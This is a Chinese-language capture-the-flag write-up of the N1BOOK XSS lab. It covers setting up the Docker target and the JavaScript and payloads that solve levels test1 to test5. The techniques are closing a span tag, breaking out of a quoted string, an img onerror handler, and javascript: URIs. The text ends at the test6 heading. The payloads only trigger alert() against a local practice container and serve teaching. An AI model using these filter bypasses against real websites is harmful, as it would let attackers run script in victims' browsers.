N1BOOK-XSS的魔力writeup

2023-10-21 11:28:55 浏览数 (2)

靶场搭建

需要在Linux系统上安装docker,参考前一篇文章kali Linux上安装docker。

第一步,进入root模式

代码语言:javascript复制
sudo -i

新建一个文件夹

代码语言:javascript复制
mkdir xss

新建docker-compose.yml文件

代码语言:javascript复制
touch docker-compose.yml

使用vim编辑该文件

代码语言:javascript复制
vim docker-compose.yml

将以下内容写入

代码语言:javascript复制
version: "3.2"

services:
  xss:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-xss:latest
    ports:
      - 3000:3000

然后构建环境,浏览器访问localhost:3000即可

代码语言:javascript复制
docker-compose up -d

test1

第一关没有任何过滤,完全是送的。闭合span标签,然后插入script即可

payload

代码语言:javascript复制
?username=</span><script>alert(/xss/)</script><span>

test2

尝试常规的攻击方式,发现特殊字符被编码了。看看JavaScript源代码。这里用escape对username进行编码再输出到DOM节点中。

代码语言:javascript复制
if(location.search == ""){
    		location.search = "?username=xss"
    	}
    	var username = 'xss';
    	document.getElementById('ccc').innerHTML= "Welcome "   escape(username);

但是仔细看看上面一句var username = 'xss',这里可能是突破口。我们可以提前闭合单引号,然后插入一条语句。

payload

代码语言:javascript复制
?username=xss';alert(/xss/);//

test3

先试下username=<>,发现没有过滤这两个危险字符。直接上<script>alert(/xss/)</script>,发现过滤掉了script。

因此,我们利用DOM时间来发起攻击

payload

代码语言:javascript复制
?username=<img src="a" onerror="alert(/xs/)">

test4

直接看JavaScript源代码。分析一下,getQueryVariable()函数用于获取URL中通过get方式传入的参数。当没有传参时,jumpUrl为当前网址,否则为传入的jumpUrl参数,然后这个jumpUrl会经过编码然后输出到DOM树当中。所以我们用get方式传入我们构造jumpUrl参数,能够触发XSS。

代码语言:javascript复制
var time = 10;
    	var jumpUrl;
    	if(getQueryVariable('jumpUrl') == false){
    		jumpUrl = location.href;
    	}else{
    		jumpUrl = getQueryVariable('jumpUrl');
    	}
    	setTimeout(jump,1000,time);
    	function jump(time){
    		if(time == 0){
    			location.href = jumpUrl;
    		}else{
    			time = time - 1 ;
    			document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
    			setTimeout(jump,1000,time);
    		}
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i  ) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}

嵌入<script>alert(/xss/)</script>,发现<和>被编码了。再看看JavaScript源代码,location.href=jumpUrl,在这一步jumpUrl是没有被编码的,所以我们可以利用JavaScript伪协议触发弹窗。

payload

代码语言:javascript复制
?jumpUrl=javascript:alert(/xss/)

test5

直接看JavaScript源代码。两个关键参数,autosubmitaction,下面这段代码首先判断是否传入了autosubmit参数,传入了则获取id为autoForm的表单,然后判断是否传入了action参数,如果传入了则将该表单的action设置为传入的action参数,否则设置为当前页面url。所以我们构造参数,将表单的action设置为javascript:alert(/xss/)即可。

代码语言:javascript复制
if(getQueryVariable('autosubmit') !== false){
    		var autoForm = document.getElementById('autoForm');
    		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		autoForm.submit();
    	}else{
    		
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i  ) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}

payload

代码语言:javascript复制
?autosubmit=1&action=javascript:alert(/xss/)

test6

0 人点赞